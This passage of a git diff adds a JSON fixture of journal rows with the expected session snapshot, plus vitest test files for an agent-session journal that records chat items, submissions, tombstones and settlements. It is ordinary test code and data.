0], + [ + 1, + "$", + "\"queuePauseMarks\"", + 1, + "s0000000000000001:0000000000000008", + "{\"latestStop\":null,\"resumedSequence\":0,\"reopenedSequence\":0}", + 0 + ], + [1, "$", "\"sessionId\"", 1, "s0000000000000001:0000000000000000", "\"session-1\"", 0], + [2, "$", "\"queue\"", 1, "s0000000000000001:0000000000000009", "{\"revision\":1}", 0], + [ + 2, + "queue.cards", + "\"draft\"", + 1, + "s0000000000000002:0000000000000000", + "[\"draft\",{\"messageId\":\"draft\",\"position\":1,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"fingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"state\":\"waiting\",\"holdReason\":null,\"returnedReason\":null,\"returnedRejection\":null,\"consumedAs\":null,\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":2},\"options\":{\"model\":\"model-a\"}}]", + 0 + ], + [3, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1003", 0], + [3, "$", "\"queue\"", 1, "s0000000000000001:0000000000000009", "{\"revision\":2}", 0], + [ + 3, + "itemFences", + "\"orca:send-1\"", + 1, + "s0000000000000003:0000000000000003", + "[\"orca:send-1\",1]", + 0 + ], + [ + 3, + "items", + "\"orca:send-1\"", + 1, + "s0000000000000003:0000000000000002", + "{\"itemId\":\"orca:send-1\",\"revision\":0,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":3,\"observedAt\":1003,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [ + 3, + "queue.cards", + "\"draft\"", + 1, + "s0000000000000002:0000000000000000", + "[\"draft\",{\"messageId\":\"draft\",\"position\":1,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"fingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"state\":\"dispatched\",\"holdReason\":null,\"returnedReason\":null,\"returnedRejection\":null,\"consumedAs\":\"send-1\",\"queuedAt\":{\"epoch\":\"epoch-1\",\"sequence\":2},\"options\":{\"model\":\"model-a\"}}]", + 0 + ], + [ + 3, + "submissions", + "\"send-1\"", + 1, + "s0000000000000003:0000000000000001", + "[\"send-1\",{\"clientMessageId\":\"send-1\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"pending\",\"providerItemId\":null,\"reason\":null,\"submittedAt\":1003,\"resolvedAt\":null,\"submittedSequence\":3,\"handoverRecorded\":true,\"acceptedSequence\":3,\"queuedMessageId\":\"draft\",\"origin\":\"client\"}]", + 0 + ], + [4, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1004", 0], + [ + 4, + "items", + "\"orca:send-1\"", + 1, + "s0000000000000003:0000000000000002", + "{\"itemId\":\"orca:send-1\",\"revision\":0,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":4,\"observedAt\":1004,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [ + 4, + "queuedHandOffPlaces", + "\"send-1\"", + 1, + "s0000000000000004:0000000000000002", + "[\"send-1\",{\"sequence\":4,\"observedAt\":1004,\"turnScope\":{\"kind\":\"thread\"}}]", + 0 + ], + [ + 4, + "stoppedHistoryCarried", + "\"send-1\"", + 1, + "s0000000000000004:0000000000000003", + "[\"send-1\",[\"stopped-2\",\"stopped-1\"]]", + 0 + ], + [ + 4, + "submissions", + "\"send-1\"", + 1, + "s0000000000000003:0000000000000001", + "[\"send-1\",{\"clientMessageId\":\"send-1\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"pending\",\"providerItemId\":null,\"reason\":null,\"submittedAt\":1003,\"resolvedAt\":null,\"submittedSequence\":3,\"handoverRecorded\":true,\"acceptedSequence\":3,\"queuedMessageId\":\"draft\",\"origin\":\"client\",\"handedOverAt\":1004}]", + 0 + ], + [5, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1005", 0], + [5, "$", "\"latestAcceptedTurnSequence\"", 1, "s0000000000000001:0000000000000007", "3", 0], + [ + 5, + "aliases", + "\"codex:thread-1:turn-1:1\"", + 1, + "s0000000000000005:0000000000000002", + "[\"codex:thread-1:turn-1:1\",\"orca:send-1\"]", + 0 + ], + [ + 5, + "items", + "\"orca:send-1\"", + 1, + "s0000000000000003:0000000000000002", + "{\"itemId\":\"orca:send-1\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":4,\"observedAt\":1004,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [ + 5, + "receipts", + "\"send-1\"", + 1, + "s0000000000000005:0000000000000003", + "[\"send-1\",{\"clientMessageId\":\"send-1\",\"providerItemId\":\"codex:thread-1:turn-1:1\",\"cursor\":{\"epoch\":\"epoch-1\",\"sequence\":5},\"acceptedAt\":1005}]", + 0 + ], + [ + 5, + "submissions", + "\"send-1\"", + 1, + "s0000000000000003:0000000000000001", + "[\"send-1\",{\"clientMessageId\":\"send-1\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"accepted\",\"providerItemId\":\"codex:thread-1:turn-1:1\",\"reason\":null,\"submittedAt\":1003,\"resolvedAt\":1005,\"submittedSequence\":3,\"handoverRecorded\":true,\"acceptedSequence\":3,\"queuedMessageId\":\"draft\",\"origin\":\"client\",\"handedOverAt\":1004}]", + 0 + ], + [6, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1006", 0], + [ + 6, + "itemEchoes", + "\"codex:thread-1:turn-1:2\"", + 1, + "s0000000000000006:0000000000000002", + "[\"codex:thread-1:turn-1:2\"]", + 0 + ], + [ + 6, + "itemFences", + "\"codex:thread-1:turn-1:2\"", + 1, + "s0000000000000006:0000000000000001", + "[\"codex:thread-1:turn-1:2\",1]", + 0 + ], + [ + 6, + "items", + "\"codex:thread-1:turn-1:2\"", + 1, + "s0000000000000006:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:2\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"echo\"}]},\"sequence\":6,\"observedAt\":1006,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [6, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1006]", 0], + [7, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1007", 0], + [ + 7, + "itemFences", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000007:0000000000000001", + "[\"codex:thread-1:turn-1:3\",1]", + 0 + ], + [ + 7, + "items", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000007:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:3\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"removed\"}]},\"sequence\":7,\"observedAt\":1007,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [7, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1007]", 0], + [8, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1008", 0], + [ + 8, + "itemFences", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000007:0000000000000001", + "null", + 1 + ], + [8, "items", "\"codex:thread-1:turn-1:3\"", 1, "s0000000000000007:0000000000000000", "null", 1], + [ + 8, + "tombstones", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000008:0000000000000000", + "[\"codex:thread-1:turn-1:3\",2]", + 0 + ], + [9, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1009", 0], + [ + 9, + "$", + "\"queuePauseMarks\"", + 1, + "s0000000000000001:0000000000000008", + "{\"latestStop\":{\"sequence\":9,\"event\":{\"reason\":\"user-stop\",\"at\":1009}},\"resumedSequence\":0,\"reopenedSequence\":0}", + 0 + ], + [10, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1010", 0], + [ + 10, + "$", + "\"queuePauseMarks\"", + 1, + "s0000000000000001:0000000000000008", + "{\"latestStop\":{\"sequence\":9,\"event\":{\"reason\":\"user-stop\",\"at\":1009}},\"resumedSequence\":0,\"reopenedSequence\":0,\"cleared\":{\"operationId\":\"clear-1\",\"messageIds\":[\"draft\"],\"sequence\":10}}", + 0 + ], + [11, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1011", 0], + [ + 11, + "$", + "\"queuePauseMarks\"", + 1, + "s0000000000000001:0000000000000008", + "{\"latestStop\":{\"sequence\":9,\"event\":{\"reason\":\"user-stop\",\"at\":1009}},\"resumedSequence\":0,\"reopenedSequence\":11,\"cleared\":{\"operationId\":\"clear-1\",\"messageIds\":[\"draft\"],\"sequence\":10}}", + 0 + ], + [12, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1012", 0], + [ + 12, + "appliedSettlementIds", + "\"settlement-0\"", + 1, + "s0000000000000012:0000000000000003", + "[\"settlement-0\",\"settlement-0\"]", + 0 + ], + [ + 12, + "itemFences", + "\"codex:thread-1:turn-1:4\"", + 1, + "s0000000000000012:0000000000000001", + "[\"codex:thread-1:turn-1:4\",1]", + 0 + ], + [ + 12, + "items", + "\"codex:thread-1:turn-1:4\"", + 1, + "s0000000000000012:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:4\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"progress 0\"}]},\"sequence\":12,\"observedAt\":1012,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [12, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1012]", 0], + [13, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1013", 0], + [ + 13, + "appliedSettlementIds", + "\"settlement-1\"", + 1, + "s0000000000000013:0000000000000002", + "[\"settlement-1\",\"settlement-1\"]", + 0 + ], + [ + 13, + "items", + "\"codex:thread-1:turn-1:4\"", + 1, + "s0000000000000012:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:4\",\"revision\":2,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"progress 1\"}]},\"sequence\":12,\"observedAt\":1012,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [13, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1013]", 0], + [14, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1014", 0], + [ + 14, + "appliedSettlementIds", + "\"settlement-2\"", + 1, + "s0000000000000014:0000000000000002", + "[\"settlement-2\",\"settlement-2\"]", + 0 + ], + [ + 14, + "items", + "\"codex:thread-1:turn-1:4\"", + 1, + "s0000000000000012:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:4\",\"revision\":3,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"progress 2\"}]},\"sequence\":12,\"observedAt\":1012,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [14, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1014]", 0], + [ + 15, + "$", + "\"derivedTurnScope\"", + 1, + "s0000000000000001:0000000000000006", + "\"codex:thread-1:turn-1:7\"", + 0 + ], + [15, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1015", 0], + [ + 15, + "itemFences", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000015:0000000000000001", + "[\"codex:thread-1:turn-1:7\",1]", + 0 + ], + [ + 15, + "items", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000015:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:7\",\"revision\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"removed-turn\",\"state\":\"running\"},\"sequence\":15,\"observedAt\":1015,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [15, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1015]", 0], + [16, "$", "\"derivedTurnScope\"", 1, "s0000000000000001:0000000000000006", "null", 0], + [16, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1016", 0], + [ + 16, + "itemFences", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000015:0000000000000001", + "null", + 1 + ], + [ + 16, + "items", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000015:0000000000000000", + "null", + 1 + ], + [ + 16, + "removedTurnIds", + "\"removed-turn\"", + 1, + "s0000000000000016:0000000000000003", + "[\"removed-turn\",\"removed-turn\"]", + 0 + ], + [ + 16, + "tombstones", + "\"codex:thread-1:turn-1:7\"", + 1, + "s0000000000000016:0000000000000000", + "[\"codex:thread-1:turn-1:7\",2]", + 0 + ], + [ + 17, + "$", + "\"derivedTurnScope\"", + 1, + "s0000000000000001:0000000000000006", + "\"codex:thread-1:turn-1:5\"", + 0 + ], + [17, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1017", 0], + [ + 17, + "itemFences", + "\"codex:thread-1:turn-1:5\"", + 1, + "s0000000000000017:0000000000000001", + "[\"codex:thread-1:turn-1:5\",1]", + 0 + ], + [ + 17, + "items", + "\"codex:thread-1:turn-1:5\"", + 1, + "s0000000000000017:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:5\",\"revision\":1,\"body\":{\"kind\":\"turn\",\"turnId\":\"open-turn\",\"state\":\"running\"},\"sequence\":17,\"observedAt\":1017,\"turnScope\":{\"kind\":\"thread\"}}", + 0 + ], + [17, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1017]", 0], + [18, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1018", 0], + [ + 18, + "itemExecutionOwners", + "\"codex:thread-1:turn-1:6\"", + 1, + "s0000000000000018:0000000000000002", + "[\"codex:thread-1:turn-1:6\",2]", + 0 + ], + [ + 18, + "itemFences", + "\"codex:thread-1:turn-1:6\"", + 1, + "s0000000000000018:0000000000000001", + "[\"codex:thread-1:turn-1:6\",1]", + 0 + ], + [ + 18, + "items", + "\"codex:thread-1:turn-1:6\"", + 1, + "s0000000000000018:0000000000000000", + "{\"itemId\":\"codex:thread-1:turn-1:6\",\"revision\":1,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"Working\"}]},\"sequence\":18,\"observedAt\":1018,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:5\"}}", + 0 + ], + [18, "providerActivityAt", "2", 1, "s0000000000000018:0000000000000003", "[2,1018]", 0], + [19, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1019", 0], + [ + 19, + "itemFences", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000019:0000000000000002", + "[\"codex:thread-1:turn-1:3\",1]", + 0 + ], + [ + 19, + "items", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000019:0000000000000001", + "{\"itemId\":\"codex:thread-1:turn-1:3\",\"revision\":3,\"body\":{\"kind\":\"message\",\"role\":\"assistant\",\"blocks\":[{\"type\":\"text\",\"text\":\"Recreated\"}]},\"sequence\":19,\"observedAt\":1019,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:5\"}}", + 0 + ], + [19, "providerActivityAt", "1", 1, "s0000000000000006:0000000000000003", "[1,1019]", 0], + [ + 19, + "tombstones", + "\"codex:thread-1:turn-1:3\"", + 1, + "s0000000000000008:0000000000000000", + "null", + 1 + ], + [20, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1020", 0], + [ + 20, + "itemFences", + "\"orca:send-3\"", + 1, + "s0000000000000020:0000000000000002", + "[\"orca:send-3\",1]", + 0 + ], + [ + 20, + "items", + "\"orca:send-3\"", + 1, + "s0000000000000020:0000000000000001", + "{\"itemId\":\"orca:send-3\",\"revision\":0,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":20,\"observedAt\":1020,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:5\"}}", + 0 + ], + [ + 20, + "submissions", + "\"send-3\"", + 1, + "s0000000000000020:0000000000000000", + "[\"send-3\",{\"clientMessageId\":\"send-3\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"pending\",\"providerItemId\":null,\"reason\":null,\"submittedAt\":1020,\"resolvedAt\":null,\"submittedSequence\":20}]", + 0 + ], + [21, "$", "\"lastActivityAt\"", 1, "s0000000000000001:0000000000000003", "1021", 0], + [ + 21, + "itemFences", + "\"orca:send-2\"", + 1, + "s0000000000000021:0000000000000002", + "[\"orca:send-2\",1]", + 0 + ], + [ + 21, + "items", + "\"orca:send-2\"", + 1, + "s0000000000000021:0000000000000001", + "{\"itemId\":\"orca:send-2\",\"revision\":0,\"body\":{\"kind\":\"message\",\"role\":\"user\",\"blocks\":[{\"type\":\"text\",\"text\":\"Please investigate\"}]},\"sequence\":21,\"observedAt\":1021,\"turnScope\":{\"kind\":\"turn\",\"turnItemId\":\"codex:thread-1:turn-1:5\"}}", + 0 + ], + [ + 21, + "normalizedHandOffs", + "\"send-1\"", + 1, + "s0000000000000021:0000000000000099", + "[\"send-1\",\"send-1\"]", + 0 + ], + [ + 21, + "submissions", + "\"send-2\"", + 1, + "s0000000000000021:0000000000000000", + "[\"send-2\",{\"clientMessageId\":\"send-2\",\"fence\":1,\"payloadFingerprint\":\"56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571\",\"dispatchState\":\"pending\",\"providerItemId\":null,\"reason\":null,\"submittedAt\":1021,\"resolvedAt\":null,\"submittedSequence\":21}]", + 0 + ] + ], + "expected": { + "sessionId": "session-1", + "epoch": "epoch-1", + "lastSequence": 21, + "lastActivityAt": 1021, + "oldestSequence": 1, + "highestFence": 1, + "items": [ + [ + "orca:send-1", + { + "itemId": "orca:send-1", + "revision": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "sequence": 4, + "observedAt": 1004, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:2", + { + "itemId": "codex:thread-1:turn-1:2", + "revision": 1, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "echo" + } + ] + }, + "sequence": 6, + "observedAt": 1006, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:4", + { + "itemId": "codex:thread-1:turn-1:4", + "revision": 3, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "progress 2" + } + ] + }, + "sequence": 12, + "observedAt": 1012, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:5", + { + "itemId": "codex:thread-1:turn-1:5", + "revision": 1, + "body": { + "kind": "turn", + "turnId": "open-turn", + "state": "running" + }, + "sequence": 17, + "observedAt": 1017, + "turnScope": { + "kind": "thread" + } + } + ], + [ + "codex:thread-1:turn-1:6", + { + "itemId": "codex:thread-1:turn-1:6", + "revision": 1, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "Working" + } + ] + }, + "sequence": 18, + "observedAt": 1018, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:5" + } + } + ], + [ + "codex:thread-1:turn-1:3", + { + "itemId": "codex:thread-1:turn-1:3", + "revision": 3, + "body": { + "kind": "message", + "role": "assistant", + "blocks": [ + { + "type": "text", + "text": "Recreated" + } + ] + }, + "sequence": 19, + "observedAt": 1019, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:5" + } + } + ], + [ + "orca:send-3", + { + "itemId": "orca:send-3", + "revision": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "sequence": 20, + "observedAt": 1020, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:5" + } + } + ], + [ + "orca:send-2", + { + "itemId": "orca:send-2", + "revision": 0, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "sequence": 21, + "observedAt": 1021, + "turnScope": { + "kind": "turn", + "turnItemId": "codex:thread-1:turn-1:5" + } + } + ] + ], + "itemFences": [ + ["orca:send-1", 1], + ["codex:thread-1:turn-1:2", 1], + ["codex:thread-1:turn-1:4", 1], + ["codex:thread-1:turn-1:5", 1], + ["codex:thread-1:turn-1:6", 1], + ["codex:thread-1:turn-1:3", 1], + ["orca:send-3", 1], + ["orca:send-2", 1] + ], + "itemExecutionOwners": [["codex:thread-1:turn-1:6", 2]], + "providerActivityAt": [ + [1, 1019], + [2, 1018] + ], + "tombstones": [["codex:thread-1:turn-1:7", 2]], + "removedTurnIds": ["removed-turn"], + "submissions": [ + [ + "send-1", + { + "clientMessageId": "send-1", + "fence": 1, + "payloadFingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "dispatchState": "accepted", + "providerItemId": "codex:thread-1:turn-1:1", + "reason": null, + "submittedAt": 1003, + "resolvedAt": 1005, + "submittedSequence": 3, + "handoverRecorded": true, + "acceptedSequence": 3, + "queuedMessageId": "draft", + "origin": "client", + "handedOverAt": 1004 + } + ], + [ + "send-3", + { + "clientMessageId": "send-3", + "fence": 1, + "payloadFingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "dispatchState": "pending", + "providerItemId": null, + "reason": null, + "submittedAt": 1020, + "resolvedAt": null, + "submittedSequence": 20 + } + ], + [ + "send-2", + { + "clientMessageId": "send-2", + "fence": 1, + "payloadFingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "dispatchState": "pending", + "providerItemId": null, + "reason": null, + "submittedAt": 1021, + "resolvedAt": null, + "submittedSequence": 21 + } + ] + ], + "receipts": [ + [ + "send-1", + { + "clientMessageId": "send-1", + "providerItemId": "codex:thread-1:turn-1:1", + "cursor": { + "epoch": "epoch-1", + "sequence": 5 + }, + "acceptedAt": 1005 + } + ] + ], + "aliases": [["codex:thread-1:turn-1:1", "orca:send-1"]], + "itemEchoes": [["codex:thread-1:turn-1:2", null]], + "appliedSettlementIds": ["settlement-0", "settlement-1", "settlement-2"], + "derivedTurnScope": "codex:thread-1:turn-1:5", + "latestAcceptedTurnSequence": 3, + "queuePauseMarks": { + "latestStop": { + "sequence": 9, + "event": { + "reason": "user-stop", + "at": 1009 + } + }, + "resumedSequence": 0, + "reopenedSequence": 11, + "cleared": { + "operationId": "clear-1", + "messageIds": ["draft"], + "sequence": 10 + } + }, + "stoppedHistoryCarried": [["send-1", ["stopped-2", "stopped-1"]]], + "queuedHandOffPlaces": [ + [ + "send-1", + { + "sequence": 4, + "observedAt": 1004, + "turnScope": { + "kind": "thread" + } + } + ] + ], + "normalizedHandOffs": ["send-1"], + "queue": { + "revision": 2, + "cards": [ + [ + "draft", + { + "messageId": "draft", + "position": 1, + "body": { + "kind": "message", + "role": "user", + "blocks": [ + { + "type": "text", + "text": "Please investigate" + } + ] + }, + "fingerprint": "56536a28c3f5a4f744c847534ff54e59e9b9992246ea370baa3a048de146b571", + "state": "dispatched", + "holdReason": null, + "returnedReason": null, + "returnedRejection": null, + "consumedAs": "send-1", + "queuedAt": { + "epoch": "epoch-1", + "sequence": 2 + }, + "options": { + "model": "model-a" + } + } + ] + ] + }, + "historyOrigin": { + "providerHandle": { + "kind": "codex", + "threadId": "thread-1" + }, + "raw": { + "version": 1, + "kind": "legacy_import", + "providerHandle": { + "kind": "codex", + "threadId": "thread-1" + }, + "importedAt": 1001 + } + } + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-approval-revision-validation.spec.ts b/src/main/native-chat/agent-session-journal/journal-approval-revision-validation.spec.ts new file mode 100644 index 00000000000..cb918aac427 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-approval-revision-validation.spec.ts @@ -0,0 +1,39 @@ +import type { createFixture } from './journal-terminal-validation-test-fixture' +import { expect, it } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' + +export function registerJournalApprovalRevisionValidationTests( + fixture: ReturnType +): void { + it('admits an answer on an exhausted approval without changing the saved item', async () => { + await fixture.saveOldItems([ + { + itemId: agentJournalItemKey(fixture.identity), + revision: Number.MAX_SAFE_INTEGER + 1, + body: fixture.pendingApproval() + } + ]) + const before = fixture.journal.snapshot().items[0] + const cursor = fixture.journal.cursor() + await expect( + fixture.journal.appendItem( + fixture.identity, + { + ...fixture.pendingApproval(), + kind: 'approval', + resolution: { + state: 'resolved', + selectedOptionId: null, + resolvedBy: 'user', + resolvedAt: 1_000 + } + }, + { fence: 8, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + ).resolves.toBeDefined() + expect(fixture.journal.cursor().sequence).toBe(cursor.sequence + 1) + expect(fixture.journal.snapshot().items[0]).toEqual(before) + await fixture.expectSendStillWritable() + }) +} diff --git a/src/main/native-chat/agent-session-journal/journal-atomic-settlement-contract-test-fixture.ts b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-contract-test-fixture.ts new file mode 100644 index 00000000000..db8ebf9bb21 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-contract-test-fixture.ts @@ -0,0 +1,125 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, vi } from 'vitest' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { settleObservedExitForTest } from '../agent-session-wire/structured-agent-session-observed-exit.test-fixture' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase, + readTestJournalRows +} from './journal-host-database-test-support' +import { parseJournalRow } from './journal-row-schema' +import type { AgentSessionJournal } from './journal-store' + +export function createFixture() { + const SESSION = 'atomic-settlement' + + const journals = createTrackedJournalOpener({ legacyInputs: true }) + + let root: string + + let journal: AgentSessionJournal + + async function open(sessionId = SESSION) { + return journals.open({ + identity: { + sessionId, + workspaceId: 'folder-workspace', + hostId: 'host', + agent: 'codex', + providerHandle: codexProviderHandle('thread') + }, + stateDirectory: root, + now: () => 1_000 + }) + } + + beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-atomic-settlement-')) + journal = await open() + }) + + afterEach(async () => { + vi.restoreAllMocks() + await journals.closeAll() + await rm(root, { recursive: true, force: true }) + }) + + function rows() { + return readTestJournalRows(openTestJournalHostDatabase(root).db, SESSION, journal.epoch).map( + (stored) => { + const parsed = parseJournalRow(stored.rowJson) + if (!parsed.ok) { + throw new Error('test row failed to parse') + } + return parsed.row + } + ) + } + + async function seedWork(count = 201) { + await journal.appendSubmission({ + clientMessageId: 'send', + payloadFingerprint: 'fingerprint', + body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'continue' }] }, + fence: 7 + }) + const turn = await journal.appendItem( + { provider: 'orca', clientMessageId: 'turn' }, + { kind: 'turn', turnId: 'turn', state: 'running', startedAt: 900 }, + { fence: 7, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + for (let index = 0; index < count; index++) { + await journal.appendItem( + { provider: 'orca', clientMessageId: `call-${index}` }, + { + kind: 'tool-call', + name: 'Write', + input: { content: index === 0 ? '界😀'.repeat(220_000) : 'small' }, + state: 'running' + }, + { + fence: 7, + turnScope: { kind: 'turn', turnItemId: turn.itemId }, + agentId: 'child', + producerKind: 'agent' + } + ) + } + } + + function settle() { + return settleObservedExitForTest({ + journal, + sessionId: SESSION, + fence: 7, + settlementId: `exit:${SESSION}:7`, + verdict: { state: 'interrupted', completedAt: 1_000 }, + pendingSubmissionReason: 'provider_exited_before_acknowledgement', + showUnexpectedExitOutcome: true + }) + } + + return { + SESSION, + get journal() { + return journal + }, + set journal(value: typeof journal) { + journal = value + }, + journals, + open, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + rows, + seedWork, + settle + } +} diff --git a/src/main/native-chat/agent-session-journal/journal-atomic-settlement-oversized.spec.ts b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-oversized.spec.ts new file mode 100644 index 00000000000..426303ae98d --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-atomic-settlement-oversized.spec.ts @@ -0,0 +1,107 @@ +import type { createFixture } from './journal-atomic-settlement-contract-test-fixture' +import { expect, it } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalSnapshot +} from '../../../shared/agent-session-journal-types' +import { settleObservedExitForTest } from '../agent-session-wire/structured-agent-session-observed-exit.test-fixture' +import { openTestJournalHostDatabase } from './journal-host-database-test-support' +import { 